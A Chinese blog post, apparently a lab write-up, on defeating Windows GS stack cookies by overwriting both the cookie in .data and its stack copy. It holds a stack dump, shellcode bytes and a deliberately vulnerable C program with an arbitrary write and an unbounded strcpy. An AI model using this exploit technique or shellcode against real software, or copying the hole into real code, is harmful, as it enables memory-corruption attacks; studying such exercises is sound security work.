首页 > 代码库 > 同时替换.data与栈中的Cookie突破GS

同时替换.data与栈中的Cookie突破GS

原理简述
替换.data中保存的数值为0x909090,替换栈中的数值为0x909090 xor ebp(所在函数帧的),溢出“正面绕过”GS
 
main函数特点:距离ret近,而且有三个参数
 
gs过程1,gs原理简述。从.data中取出cookie(cookie_ori),运算之后放入栈中成为cookie_now,这里cookie_ori在.data中的存放地址是0x40b004,放入栈中0x12ff5c。反汇编指令如下图。
 
gs过程2,修改.data中的cookie,反汇编如下:
之前的.datazhiqin
之后的.data
 
gs过程3,修改栈中的cookie(cookie_now = cookie xor cookie_ori),考的是溢出,溢出是通过strcpy,这里的strcpy函数反汇编如下图。
 
栈溢出之前的状态
 
栈溢出之后的状态
CPU Stack
地址           数值         注释
0012FE7C   00407A62  ; 从返回 ntdll.RtlEnterCriticalSection 自 gs3.00407A62
0012FE80   0012FE90
0012FE84   0012FF68
0012FE88   0040BE98
0012FE8C   0040B004
0012FE90   90909090     ;这里是shellcode中保存的.data数值
0012FE94   0A6A68FC    ;从上一句开始是shellcode的开头了
0012FE98   63681E38
0012FE9C   684FD189
0012FEA0   0C917432
0012FEA4   7E8DF48B
0012FEA8   B7DB33F4
0012FEAC   66E32B04
0012FEB0   533233BB
0012FEB4   65737568
0012FEB8   D2335472
0012FEBC   305A8B64
0012FEC0   8B0C4B8B
0012FEC4   098B1C49
0012FEC8   AD08698B
0012FECC   380A6A3D
0012FED0   9505751E
0012FED4   95F857FF
0012FED8   3C458B60
0012FEDC   78054C8B
0012FEE0   598BCD03
0012FEE4   33DD0320
0012FEE8   348B47FF
0012FEEC   99F503BB
0012FEF0   3A06BE0F
0012FEF4   C10874C4
0012FEF8   D00307CA
0012FEFC   3BF1EB46
0012FF00   751C2454
0012FF04   24598BE4
0012FF08   8B66DD03
0012FF0C   598B7B3C
0012FF10   03DD031C
0012FF14   5F95BB2C
0012FF18   3D6157AB
0012FF1C   1E380A6A
0012FF20   DB33A975
0012FF24   65776853
0012FF28   66687473
0012FF2C   8B6C6961
0012FF30   505053C4
0012FF34   FC57FF53
0012FF38   F857FF53
0012FF3C   90909090
0012FF40   90909090
0012FF44   90909090
0012FF48   90909090
0012FF4C   90909090
0012FF50   90909090
0012FF54   90909090
0012FF58   90909090
0012FF5C   90826FF0
0012FF60   90909090
0012FF64   0012FE94     ;这里是被溢出的返回地址(shellcode所在地)
                                     ;shellcode结束
 
提醒
原文除了从malloc返回地址与.data中cookie的差值需要重新计算外,shellcode中的0x909090 xor ebp 之后的值也应该修改,因为ebp不同的系统差异造成值不一样。
 
纪念一下
 1 /***名称:替换.data与栈cookie突破GS************/
 2 /***编译条件:vs2010,禁止优化选项,release版本***/
 3 /***实践:Hualian***************************/
 4 
 5 #include<stdafx.h>
 6 #include<string.h>
 7 #include<stdlib.h>
 8 
 9 char Shellcode[]=
10 "\x90\x90\x90\x90"
11 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
12 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
13 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
14 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
15 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
16 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
17 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
18 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
19 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
20 "\x53\x68\x69\x61\x6e\x22\x68\x48\x75\x61\x6c\x8B\xC4\x53\x50\x50"//\x66\x61\x69\x6C
21 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24 "\xF0\x6F\x82\x90"
25 "\x90\x90\x90\x90"
26 "\x94\xFE\x12\x00"//\x91\x91\x91\x91
27 ;
28 
29 void test (char *s, int i, char *src)
30 {
31     char dest[200];
32     if(i<0x9995)
33     {
34         char *buf = s + i;
35         *buf = *src;
36         *(buf + 1) = *(src +1);
37         *(buf + 2) = *(src +2);
38         *(buf + 3) = *(src +3);
39         strcpy(dest,src);
40     }
41 }
42 
43 void main()
44 {
45     char * str = (char*)malloc(0x10000);
46     printf("look");
47     test(str, 0xFFFFAFBC/*待确定*/,Shellcode);
48 }